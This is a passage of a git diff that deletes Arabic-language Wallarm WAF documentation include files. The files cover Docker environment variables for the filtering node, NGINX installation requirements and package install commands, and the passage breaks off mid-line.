              يتم دعم المتغير `WALLARM_APPLICATION` بدءًا من نسخة صورة Docker `3.4.1-1`.

              | لا | -| `TARANTOOL_MEMORY_GB` | [كمية الذاكرة][allocating-memory-guide] المخصصة لـ Tarantool. يمكن أن تكون القيمة عددًا صحيحًا أو عددًا عشريًا (نقطة . هي فاصلة عشرية). القيمة الافتراضية: 0.2 غيغابايت. | لا | -| `DEPLOY_FORCE` | يستبدل عقدة Wallarm موجودة بأخرى جديدة إذا تطابق اسم العقدة الموجودة مع معرف الحاوية التي تقوم بتشغيلها. يمكن تعيين القيم التالية للمتغير:
              • `true` لاستبدال العقدة المصفية
              • `false` لتعطيل استبدال العقدة المصفية
              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `false`.
              اسم عقدة Wallarm دائمًا ما يتطابق مع معرف الحاوية التي تقوم بتشغيلها. يكون استبدال العقدة المصفية مفيدًا إذا كانت معرفات حاويات Docker في بيئتك ثابتة وأنت تحاول تشغيل حاوية Docker أخرى بعقدة مصفية (على سبيل المثال، حاوية بنسخة جديدة من الصورة). إذا كانت القيمة في هذه الحالة `false`، فستفشل عملية إنشاء العقدة المصفية. | لا | -| `NGINX_PORT` |

              يحدد المنفذ الذي سوف يستخدمه NGINX داخل حاوية Docker. هذا يسمح بتجنب تصادم المنافذ عند استخدام هذه الحاوية Docker كـ[حاوية الجانبية][about-sidecar-container] ضمن إحدى الحشود في مجموعة Kubernetes.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `80`.

              صياغة هي `NGINX_PORT='443'`.

              | لا | \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-all-env-vars-4.0.md b/include-ar/waf/installation/nginx-docker-all-env-vars-4.0.md deleted file mode 100644 index 2c7192877d..0000000000 --- a/include-ar/waf/installation/nginx-docker-all-env-vars-4.0.md +++ /dev/null @@ -1,9 +0,0 @@ -| متغير البيئة | الوصف | مطلوب | -| --- | ---- | ---- | -| `WALLARM_API_TOKEN` | رمز عقدة Wallarm.

              المتغيرات السابقة لتهيئة الوصول إلى سحابة Wallarm

              قبل إصدار الإصدار 4.0، كانت المتغيرات السابقة لـ `WALLARM_API_TOKEN` هي `DEPLOY_USERNAME` و `DEPLOY_PASSWORD`. ابتداءً من الإصدار الجديد، يُنصح باستخدام نهج الرمز الجديد للوصول إلى سحابة Wallarm. [المزيد من التفاصيل حول الترحيل إلى إصدار العقدة الجديد](/updating-migrating/docker-container/)

              | نعم | -| `NGINX_BACKEND` | نطاق أو عنوان IP للمورد المراد حمايته بواسطة حلول Wallarm. | نعم | -| `WALLARM_API_HOST` | خادم API Wallarm:
              • `us1.api.wallarm.com` لسحابة الولايات المتحدة
              • `api.wallarm.com` لسحابة الاتحاد الأوروبي
              الافتراضي: `api.wallarm.com`. | لا | -| `WALLARM_MODE` | وضع العقدة:
              • `block` لحظر الطلبات الخبيثة
              • `safe_blocking` لحظر الطلبات الخبيثة الصادرة فقط من [عناوين IP المدرجة في القائمة الرمادية][graylist-docs]
              • `monitoring` لتحليل الطلبات دون حظرها
              • `off` لتعطيل تحليل ومعالجة حركة المرور
              الافتراضي: `monitoring`.
              [وصف تفصيلي لأوضاع الترشيح →][filtration-modes-docs] | لا | -| `WALLARM_APPLICATION` | معرّف فريد للتطبيق المحمي المستخدم في سحابة Wallarm. يمكن أن تكون القيمة رقمًا صحيحًا ما عدا `0`.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `-1` والتي تشير إلى التطبيق **الافتراضي** المعروض في Wallarm Console → **Settings** → **Application**.

              [المزيد من التفاصيل حول ضبط التطبيقات →][application-configuration] | لا | -| `TARANTOOL_MEMORY_GB` | [كمية الذاكرة][allocating-memory-guide] المخصصة لـ Tarantool. يمكن أن تكون القيمة رقمًا صحيحًا أو عشريًا (نقطة . هي فاصل عشري). بشكل افتراضي: 0.2 جيجابايت. | لا | -| `NGINX_PORT` | يضبط منفذًا سيستخدمه NGINX داخل حاوية Docker.

              ابتداءً من صورة Docker `4.0.2-1`، تعمل خدمة [`wallarm-status`][node-status-docs] تلقائيًا على نفس المنفذ مثل NGINX.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `80`.

              الصيغة هي `NGINX_PORT='443'`. | لا | \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-all-env-vars-4.2.md b/include-ar/waf/installation/nginx-docker-all-env-vars-4.2.md deleted file mode 100644 index 56a85547ee..0000000000 --- a/include-ar/waf/installation/nginx-docker-all-env-vars-4.2.md +++ /dev/null @@ -1,10 +0,0 @@ -| متغير البيئة | الوصف | مطلوب | -| --- | ---- | ---- | -| `WALLARM_API_TOKEN` | رمز عقدة Wallarm.

              المتغيرات السابقة لتكوين الوصول إلى سحابة Wallarm

              قبل إصدار النسخة 4.0، كانت المتغيرات السابقة لـ `WALLARM_API_TOKEN` هي `DEPLOY_USERNAME` و`DEPLOY_PASSWORD`. ابتداءً من النسخة الجديدة، يُنصح باستخدام الأسلوب الجديد القائم على الرموز للوصول إلى سحابة Wallarm. [المزيد من التفاصيل حول الانتقال إلى نسخة العقدة الجديدة](/updating-migrating/docker-container/)

              | نعم | -| `NGINX_BACKEND` | نطاق أو عنوان IP للمورد المراد حمايته بحلول Wallarm. | نعم | -| `WALLARM_API_HOST` | خادم API Wallarm:
              • `us1.api.wallarm.com` لسحابة الولايات المتحدة
              • `api.wallarm.com` لسحابة الاتحاد الأوروبي
              الإعداد الافتراضي: `api.wallarm.com`. | لا | -| `WALLARM_MODE` | وضع العقدة:
              • `block` لحجب الطلبات الضارة
              • `safe_blocking` لحجب الطلبات الضارة الصادرة فقط من عناوين IP المدرجة في القائمة الرمادية
              • `monitoring` لتحليل الطلبات دون حجبها
              • `off` لتعطيل تحليل ومعالجة حركة المرور
              الإعداد الافتراضي: `monitoring`.
              [وصف مفصل لأوضاع التصفية →][filtration-modes-docs] | لا | -| `WALLARM_APPLICATION` | المعرّف الفريد للتطبيق المحمي المستخدم في سحابة Wallarm. يمكن أن يكون القيمة عددًا صحيحًا موجبًا باستثناء `0`.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `-1` والتي تشير إلى التطبيق **الافتراضي** المعروض في واجهة Wallarm Console → **الإعدادات** → **التطبيق**.

              [المزيد من التفاصيل حول إعداد التطبيقات →][application-configuration] | لا | -| `TARANTOOL_MEMORY_GB` | [كمية الذاكرة][allocating-memory-guide] المخصصة لـ Tarantool. يمكن أن تكون القيمة عددًا صحيحًا أو عشريًا (نقطة . هي فاصل العشري). الإعداد الافتراضي: 0.2 غيغابايت. | لا | -| `NGINX_PORT` | يحدد منفذًا سيستخدمه NGINX داخل حاوية Docker.

              ابتداءً من صورة Docker `4.0.2-1`، يعمل الخدمة [`wallarm-status`][node-status-docs] تلقائيًا على نفس المنفذ مثل NGINX.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `80`.

              الصيغة هي `NGINX_PORT='443'`. | لا | -| `DISABLE_IPV6`| المتغير ذو أي قيمة ما عدا قيمة فارغة يحذف سطر `listen [::]:80 default_server ipv6only=on;` من ملف تكوين NGINX مما سيوقف معالجة NGINX لاتصالات IPv6.

              إذا لم يتم تحديد المتغير صراحةً أو كانت قيمته فارغة `""`، يعالج NGINX كلاً من اتصالات IPv6 وIPv4. | لا | \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-all-env-vars-4.4.md b/include-ar/waf/installation/nginx-docker-all-env-vars-4.4.md deleted file mode 100644 index 66d7b97b62..0000000000 --- a/include-ar/waf/installation/nginx-docker-all-env-vars-4.4.md +++ /dev/null @@ -1,11 +0,0 @@ -متغير البيئة | الوصف | مطلوب ---- | ---- | ---- -`WALLARM_API_TOKEN` | رمز عقدة Wallarm.

              استخدام رمز واحد لعدة تثبيتات

              يمكنك استخدام رمز واحد في عدة تثبيتات بغض النظر عن المنصة المختارة. وذلك يسمح بتجميع منطقي لحالات العقد في واجهة المستخدم الخاصة بـ Wallarm Console. مثال: تنشر عدة عقد Wallarm في بيئة تطوير، كل عقدة على جهازها الخاص الذي يملكه مطور معين.

              | نعم -`NGINX_BACKEND` | نطاق أو عنوان IP للمورد الذي سيتم حمايته بواسطة حل Wallarm. | نعم -`WALLARM_API_HOST` | خادم واجهة برمجة التطبيقات لـ Wallarm:
              • `us1.api.wallarm.com` للسحابة الأمريكية
              • `api.wallarm.com` للسحابة الأوروبية
              القيمة الافتراضية: `api.wallarm.com`. | لا -`WALLARM_MODE` | وضع العقدة:
              • `block` لحجب الطلبات الخبيثة
              • `safe_blocking` لحجب الطلبات الخبيثة الصادرة فقط من عناوين IP الموجودة في القائمة الرمادية
              • `monitoring` لتحليل الطلبات دون حجبها
              • `off` لتعطيل تحليل ومعالجة حركة المرور
              القيمة الافتراضية: `monitoring`.
              [وصف مفصل لأوضاع التصفية →][filtration-modes-docs] | لا -`WALLARM_APPLICATION` | المعرف الفريد للتطبيق المحمي الذي سيتم استخدامه في سحابة Wallarm. يمكن أن تكون القيمة عدد صحيح إيجابي باستثناء `0`.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `-1` والتي تشير إلى التطبيق **الافتراضي** المعروض في Wallarm Console → **الإعدادات** → **تطبيق**.

              [مزيد من التفاصيل حول إعداد التطبيقات →][application-configuration] | لا -`TARANTOOL_MEMORY_GB` | [كمية الذاكرة][allocating-memory-guide] المخصصة لـ Tarantool. يمكن أن تكون القيمة عدد صحيح أو عائم (نقطة . هي فاصل عشري). القيمة الافتراضية: 0.2 غيغابايت. | لا -`NGINX_PORT` | يحدد المنفذ الذي سيستخدمه NGINX داخل حاوية Docker.

              بدءًا من صورة Docker `4.0.2-1`، تعمل خدمة [`wallarm-status`][node-status-docs] تلقائيًا على نفس المنفذ كـ NGINX.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `80`.

              صيغة الاستخدام `NGINX_PORT='443'`. | لا -`WALLARM_STATUS_ALLOW` | CIDRs مخصصة مسموح بها للوصول إلى نقطة النهاية [`/wallarm-status`][node-status-docs] من خارج حاوية Docker. قيمة مثال: `10.0.0.0/8`. إذا كنت بحاجة إلى تمرير عدة قيم، استخدم الفاصلة `,` كفاصل. للوصول إلى الخدمة من الخارج، استخدم عنوان IP الخاص بحاوية Docker، مع تحديد مسار نقطة النهاية `/wallarm-status`. | لا -`DISABLE_IPV6`| المتغير بأي قيمة باستثناء قيمة فارغة يحذف سطر `listen [::]:80 default_server ipv6only=on;` من ملف تكوين NGINX والذي سيوقف معالجة NGINX لاتصالات IPv6.

              إذا لم يتم تحديد المتغير بشكل صريح أو كانت قيمته فارغة `""`، يقوم NGINX بمعالجة اتصالات IPv6 وIPv4. | لا \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-all-env-vars-4.8.md b/include-ar/waf/installation/nginx-docker-all-env-vars-4.8.md deleted file mode 100644 index b02e84fe42..0000000000 --- a/include-ar/waf/installation/nginx-docker-all-env-vars-4.8.md +++ /dev/null @@ -1,12 +0,0 @@ -متغير البيئة | الوصف | مطلوب ---- | ---- | ---- -`WALLARM_API_TOKEN` | رمز العقدة أو API التابع لـWallarm. | نعم -`WALLARM_LABELS` |

              متاح ابتداءً من العقدة 4.6. يعمل فقط إذا تم تعيين `WALLARM_API_TOKEN` إلى [رمز API][api-token] بدور `Deploy`. يُعيّن الوسم `group` لتجميع نسخ العقدة، مثال:

              `WALLARM_LABELS="group="`

              ...سيضع نسخة العقدة ضمن مجموعة النسخ `` (الموجودة، أو، إذا لم تكن موجودة، سيتم إنشاؤها).

              | نعم (لرموز API) -`NGINX_BACKEND` | نطاق أو عنوان IP للمورد المُراد حمايته بحل Wallarm. | نعم -`WALLARM_API_HOST` | خادم API الخاص بـWallarm:
              • `us1.api.wallarm.com` للسحاب الأمريكي
              • `api.wallarm.com` للسحاب الأوروبي
              بشكل افتراضي: `api.wallarm.com`. | لا -`WALLARM_MODE` | نمط العقدة:
              • `block` لحظر الطلبات الضارة
              • `safe_blocking` لحظر الطلبات الضارة الصادرة فقط من [عناوين IP في القائمة الرمادية][graylist-docs]
              • `monitoring` لتحليل الطلبات دون حظرها
              • `off` لتعطيل تحليل ومعالجة الحركة
              بشكل افتراضي: `monitoring`.
              [وصف مفصل لأنماط الفلترة →][filtration-modes-docs] | لا -`WALLARM_APPLICATION` | المعرف الفريد للتطبيق المحمي المُستخدم في سحابة Wallarm. يمكن أن تكون القيمة عددًا صحيحًا موجبًا باستثناء `0`.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `-1` والتي تُشير إلى التطبيق **الافتراضي** المعروض في واجهة Wallarm Console → **الإعدادات** → **التطبيق**.

              [المزيد من التفاصيل حول إعداد التطبيقات →][application-configuration] | لا -`TARANTOOL_MEMORY_GB` | [كمية الذاكرة][allocating-memory-guide] المخصصة لـTarantool. يمكن أن تكون القيمة عددًا صحيحًا أو عشريًا (نقطة . كفاصلة عشرية). بشكل افتراضي: 0.2 غيغابايت. | لا -`NGINX_PORT` | يُحدد منفذًا سيستخدمه NGINX داخل حاوية Docker.

              ابتداءً من صورة Docker `4.0.2-1`، تعمل خدمة [`wallarm-status`][node-status-docs] تلقائيًا على نفس المنفذ كـNGINX.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `80`.

              صيغة هي `NGINX_PORT='443'`. | لا -`WALLARM_STATUS_ALLOW` | CIDR مخصصة مسموح بها للوصول إلى نقطة النهاية [`/wallarm-status`][node-status-docs] من خارج حاوية Docker. قيمة المثال: `10.0.0.0/8`. إذا كنت تحتاج إلى تمرير قيم عدة، استخدم فاصلة `,` كفاصل. للوصول إلى الخدمة من الخارج، استخدم IP حاوية Docker، مع تحديد مسار نقطة النهاية `/wallarm-status`. | لا -`DISABLE_IPV6`| المتغير بأية قيمة باستثناء قيمة فارغة يحذف السطر `listen [::]:80 default_server ipv6only=on;` من ملف تكوين NGINX والذي سيوقف NGINX عن معالجة الاتصالات IPv6.

              إذا لم يُحدد المتغير بشكل صريح أو كانت قيمته فارغة `""`، يُعالج NGINX كل من اتصالات IPv6 وIPv4. | لا \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-all-env-vars-latest.md b/include-ar/waf/installation/nginx-docker-all-env-vars-latest.md deleted file mode 100644 index 39554748c4..0000000000 --- a/include-ar/waf/installation/nginx-docker-all-env-vars-latest.md +++ /dev/null @@ -1,12 +0,0 @@ -| متغير البيئة | الوصف | مطلوب | -| --- | --- | --- | -| `WALLARM_API_TOKEN` | رمز Wallarm للعقدة أوالواجهة البرمجية للتطبيقات. | نعم | -| `WALLARM_LABELS` |

              متاح ابتداءً من العقدة 4.6. يعمل فقط إذا كان `WALLARM_API_TOKEN` مُعداً إلى [رمز الواجهة البرمجية للتطبيقات][api-token] بدور `Deploy`. يضبط تسمية `group` لتجميع نماذج العقد، مثلاً:

              `WALLARM_LABELS="group="`

              ...سيضع نموذج العقدة في مجموعة النماذج `` (موجودة، أو، إذا لم تكن موجودة، سيتم إنشاؤها).

              | نعم (لرموز الواجهة البرمجية للتطبيقات) | -| `NGINX_BACKEND` | نطاق أو عنوان IP للموارد لحمايتها بواسطة حل Wallarm. | نعم | -| `WALLARM_API_HOST` | خادم واجهة برمجة التطبيقات لـ Wallarm:
              • `us1.api.wallarm.com` للسحابة الأمريكية
              • `api.wallarm.com` للسحابة الأوروبية
              القيمة الافتراضية: `api.wallarm.com`. | لا | -| `WALLARM_MODE` | وضع العقدة:
              • `block` لحظر الطلبات الخبيثة
              • `safe_blocking` لحظر الطلبات الخبيثة الصادرة عن عناوين IP المدرجة في القائمة الرمادية فقط
              • `monitoring` لتحليل الطلبات دون حظرها
              • `off` لتعطيل تحليل ومعالجة الحركة
              القيمة الافتراضية: `monitoring`.
              [وصف مفصل لأوضاع التصفية →][filtration-modes-docs] | لا | -| `WALLARM_APPLICATION` | المعرف الفريد للتطبيق المحمي المُستخدم في سحابة Wallarm. يمكن أن تكون القيمة عدداً صحيحاً موجباً ما عدا `0`.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `-1` والتي تشير إلى التطبيق **الافتراضي** المعروض في واجهة Wallarm → **الإعدادات** → **التطبيق**.

              [مزيد من التفاصيل حول إعداد التطبيقات →][application-configuration] | لا | -| `TARANTOOL_MEMORY_GB` | [كمية الذاكرة][allocating-memory-guide] المُخصصة لـ Tarantool. يمكن أن تكون القيمة عدداً صحيحاً أو عشرياً (نقطة . هي الفاصل العشري). بشكل افتراضي: 0.2 غيغابايت. | لا | -| `NGINX_PORT` | يضبط منفذ يستخدمه NGINX داخل حاوية Docker.

              ابتداءً من صورة Docker `4.0.2-1`، خدمة [`wallarm-status`][node-status-docs] تعمل تلقائياً على نفس المنفذ الذي يستخدمه NGINX.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `80`.

              الصيغة `NGINX_PORT='443'`. | لا | -| `WALLARM_STATUS_ALLOW` | CIDRs المخصصة المسموح بها للوصول إلى نقطة النهاية [`/wallarm-status`][node-status-docs] من خارج حاوية Docker. قيمة مثال: `10.0.0.0/8`. إذا كنت بحاجة إلى تمرير قيم عدة, استخدم الفاصلة `,` كفاصل. للوصول إلى الخدمة من الخارج, استخدم عنوان IP لحاوية Docker، مع تحديد مسار نقطة النهاية `/wallarm-status`. | لا | -| `DISABLE_IPV6`| المتغير بأي قيمة باستثناء قيمة فارغة يحذف السطر `listen [::]:80 default_server ipv6only=on;` من ملف تكوين NGINX والذي سيوقف معالجة اتصالات IPv6 بواسطة NGINX.

              إذا لم يتم تحديد المتغير صراحةً أو كانت قيمته فارغة `""`, يعالج NGINX كل من اتصالات IPv6 وIPv4. | لا | \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-env-vars-to-mount-4.2.md b/include-ar/waf/installation/nginx-docker-env-vars-to-mount-4.2.md deleted file mode 100644 index 9ff9fe3cd7..0000000000 --- a/include-ar/waf/installation/nginx-docker-env-vars-to-mount-4.2.md +++ /dev/null @@ -1,4 +0,0 @@ -| متغير البيئة | الوصف | مطلوب | -| --- | ---- | ---- | -| `WALLARM_API_TOKEN` | رمز عقدة Wallarm.

              المتغيرات السابقة لتكوين الوصول إلى سحابة Wallarm

              قبل إصدار النسخة 4.0، كانت المتغيرات السابقة ل`WALLARM_API_TOKEN` هي `DEPLOY_USERNAME` و`DEPLOY_PASSWORD`. ابتداءً من الإصدار الجديد، يُنصح باستخدام نهج جديد مبني على الرمز للوصول إلى سحابة Wallarm. [المزيد من التفاصيل حول الانتقال إلى نسخة العقدة الجديدة](/updating-migrating/docker-container/)

              | نعم | -| `WALLARM_API_HOST` | خادم API Wallarm:
              • `us1.api.wallarm.com` لسحابة الولايات المتحدة
              • `api.wallarm.com` لسحابة الاتحاد الأوروبي
              الافتراضي: `api.wallarm.com`. | لا | \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-env-vars-to-mount-4.4.md b/include-ar/waf/installation/nginx-docker-env-vars-to-mount-4.4.md deleted file mode 100644 index 308dd0abfe..0000000000 --- a/include-ar/waf/installation/nginx-docker-env-vars-to-mount-4.4.md +++ /dev/null @@ -1,4 +0,0 @@ -متغير البيئة | الوصف | مطلوب ---- | ---- | ---- -`WALLARM_API_TOKEN` | رمز عقدة Wallarm.

              استخدام رمز واحد لعدة تركيبات

              يمكنك استخدام رمز واحد في عدة تركيبات بغض النظر عن المنصة المختارة. يسمح ذلك بتجميع العقد منطقياً في واجهة مستخدم Wallarm Console. مثال: تنشر عدة عقد Wallarm في بيئة تطوير، كل عقدة على جهاز خاص بمطور معين.

              | نعم -`WALLARM_API_HOST` | خادم API Wallarm:
              • `us1.api.wallarm.com` للسحابة الأمريكية
              • `api.wallarm.com` للسحابة الأوروبية
              الافتراضي: `api.wallarm.com`. | لا \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-env-vars-to-mount-latest.md b/include-ar/waf/installation/nginx-docker-env-vars-to-mount-latest.md deleted file mode 100644 index 4fe2f1d8d2..0000000000 --- a/include-ar/waf/installation/nginx-docker-env-vars-to-mount-latest.md +++ /dev/null @@ -1,5 +0,0 @@ -المتغير البيئي | الوصف | مطلوب ---- | ---- | ---- -`WALLARM_API_TOKEN` | رمز العقدة أو API لـ Wallarm. | نعم -`WALLARM_API_HOST` | خادم API الخاص بـ Wallarm:
              • `us1.api.wallarm.com` للسحابة الأمريكية
              • `api.wallarm.com` للسحابة الأوروبية
              القيمة الافتراضية: `api.wallarm.com`. | لا -`WALLARM_LABELS` |

              متاح ابتداءً من العقدة 4.6. يعمل فقط إذا تم تعيين `WALLARM_API_TOKEN` إلى [رمز API][api-token] بدور `Deploy`. يقوم بتعيين تسمية `group` لتجميع نماذج العقد، على سبيل المثال:

              `WALLARM_LABELS="group="`

              ...سيقوم بوضع نموذج العقدة في مجموعة النماذج `` (الموجودة أو، إذا لم تكن موجودة، سيتم إنشاؤها).

              | نعم (لرموز API) \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-env-vars-to-mount.md b/include-ar/waf/installation/nginx-docker-env-vars-to-mount.md deleted file mode 100644 index ac20cb77f2..0000000000 --- a/include-ar/waf/installation/nginx-docker-env-vars-to-mount.md +++ /dev/null @@ -1,6 +0,0 @@ -| متغير البيئة | الوصف | مطلوب | -| --- | --- | --- | -| `DEPLOY_USER` | البريد الإلكتروني لحساب المستخدم **Deploy** أو **Administrator** في وحدة التحكم Wallarm. | نعم | -| `DEPLOY_PASSWORD` | كلمة المرور لحساب المستخدم **Deploy** أو **Administrator** في وحدة التحكم Wallarm. | نعم | -| `WALLARM_API_HOST` | خادم API Wallarm:
              • `us1.api.wallarm.com` للسحابة الأمريكية
              • `api.wallarm.com` للسحابة الأوروبية
              القيمة الافتراضية: `api.wallarm.com`. | لا | -| `DEPLOY_FORCE` | يستبدل عقدة Wallarm الحالية بأخرى جديدة إذا كان اسم عقدة Wallarm الحالية يطابق معرِّف الحاوية التي تقوم بتشغيلها. يمكن تعيين القيم التالية للمتغير:
              • `true` لاستبدال العقدة الفلترة
              • `false` لتعطيل استبدال العقدة الفلترة
              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `false`.
              دائمًا ما يتطابق اسم عقدة Wallarm مع معرِّف الحاوية التي تقوم بتشغيلها. استبدال العقدة الفلترة مفيد إذا كانت معرفات حاويات Docker في بيئتك ثابتة وتحاول تشغيل حاوية Docker أخرى مع العقدة الفلترة (على سبيل المثال، حاوية بنسخة جديدة من الصورة). إذا كانت قيمة المتغير في هذه الحالة `false`، فإن عملية إنشاء العقدة الفلترة ستفشل. | لا | \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-installation-options.md b/include-ar/waf/installation/nginx-installation-options.md deleted file mode 100644 index 670d4f55f2..0000000000 --- a/include-ar/waf/installation/nginx-installation-options.md +++ /dev/null @@ -1,6 +0,0 @@ -تنقسم معالجة الطلبات في عقدة Wallarm إلى مرحلتين: - -* المعالجة الأولية في وحدة NGINX-Wallarm. المعالجة لا تتطلب الكثير من الذاكرة ويمكن وضعها على خوادم الواجهة الأمامية دون تغيير متطلبات الخادم. -* التحليل الإحصائي للطلبات المعالجة في وحدة التحليلات اللاحقة. التحليلات اللاحقة تتطلب ذاكرة بشكل كبير، وقد يستلزم ذلك تغييرات في تكوين الخادم أو تثبيت التحليلات اللاحقة على خادم منفصل. - -اعتمادًا على هندسة النظام، يمكن تثبيت وحدات NGINX-Wallarm والتحليلات اللاحقة على **نفس الخادم** أو على **خوادم مختلفة**. \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-plus-requirements-4.0.md b/include-ar/waf/installation/nginx-plus-requirements-4.0.md deleted file mode 100644 index 9cd3ebbf8d..0000000000 --- a/include-ar/waf/installation/nginx-plus-requirements-4.0.md +++ /dev/null @@ -1,14 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** وتعطيل المصادقة الثنائية في لوحة تحكم Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* تعطيل SELinux أو تكوينه وفقًا لـ[التعليمات][configure-selinux-instr] -* إصدار NGINX Plus 28 (R28) - - !!! info "إصدارات NGINX Plus المخصصة" - إذا كان لديك إصدار مختلف، ارجع إلى التعليمات حول [كيفية ربط وحدة Wallarm ببنية NGINX المخصصة][nginx-custom] -* تنفيذ جميع الأوامر كمستخدم متميز (مثل `root`) -* لمعالجة الطلبات والتحليلات البعدية على خوادم مختلفة: تثبيت التحليلات البعدية على خادم منفصل وفقًا لـ[التعليمات][install-postanalytics-instr] -* الوصول إلى `https://repo.wallarm.com` لتنزيل الحزم. تأكد من أن الوصول غير محجوب بواسطة جدار الحماية -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم وكيل فقط، استخدم[التعليمات][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* تثبيت محرر النصوص **vim** أو **nano** أو أي محرر آخر. في التعليمات، يتم استخدام **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-postanalytics-2.12.md b/include-ar/waf/installation/nginx-postanalytics-2.12.md deleted file mode 100644 index 5f0b61b509..0000000000 --- a/include-ar/waf/installation/nginx-postanalytics-2.12.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "ديبيان" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "أوبونتو" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "سنتوس" - ```bash - sudo yum install wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-postanalytics.md b/include-ar/waf/installation/nginx-postanalytics.md deleted file mode 100644 index cc64f71f03..0000000000 --- a/include-ar/waf/installation/nginx-postanalytics.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "ديبيان" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "أوبونتو" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "سنتوس أو أمازون لينكس 2.0.2021 وما دون" - ```bash - sudo yum install wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-requirements-3.0.md b/include-ar/waf/installation/nginx-requirements-3.0.md deleted file mode 100644 index 5c1fbe8bf8..0000000000 --- a/include-ar/waf/installation/nginx-requirements-3.0.md +++ /dev/null @@ -1,10 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** أو **النشر** والمصادقة الثنائية معطلة في واجهة Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* تعطيل SELinux أو تكوينه وفقًا لـ[التعليمات][configure-selinux-instr] -* تنفيذ جميع الأوامر كمستخدم متميز (مثل `root`) -* لمعالجة الطلبات والتحليلات بعد الإرسال على خوادم مختلفة: تثبيت التحليلات بعد الإرسال على خادم منفصل وفقًا لـ[التعليمات][install-postanalytics-instr] -* الوصول إلى `https://repo.wallarm.com` لتنزيل الحزم. تأكد من أن الوصول غير محظور بواسطة جدار الحماية -* الوصول إلى `https://us1.api.wallarm.com:444` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com:444` للعمل مع سحابة Wallarm الأوروبية. إذا كان بالإمكان تكوين الوصول عبر خادم وكيل فقط، فاستخدم [التعليمات][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* تثبيت محرر النصوص **vim**، **nano**، أو أي محرر آخر. في التعليمات، يُستخدم **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-requirements-4.0.md b/include-ar/waf/installation/nginx-requirements-4.0.md deleted file mode 100644 index 4bf574ad81..0000000000 --- a/include-ar/waf/installation/nginx-requirements-4.0.md +++ /dev/null @@ -1,14 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** والمصادقة الثنائية معطلة في وحدة التحكم Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* تم تعطيل SELinux أو تهيئته بناءً على [التعليمات][configure-selinux-instr] -* إصدار NGINX 1.24.0 - - !!! info "إصدارات NGINX المخصصة" - إذا كنت تمتلك إصدارًا مختلفًا، ارجع إلى التعليمات حول [كيفية ربط وحدة Wallarm بإصدار NGINX المخصص][nginx-custom] -* تنفيذ جميع الأوامر كمستخدم فائق الصلاحيات (مثل `root`) -* لمعالجة الطلبات والتحليلات اللاحقة على خوادم مختلفة: تم تثبيت التحليلات اللاحقة على خادم منفصل بناءً على [التعليمات][install-postanalytics-instr] -* الوصول إلى `https://repo.wallarm.com` لتنزيل الحزم. تأكد من أن الوصول ليس محظورًا بواسطة جدار حماية -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم وكيل فقط، فاستخدم [التعليمات][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* تثبيت 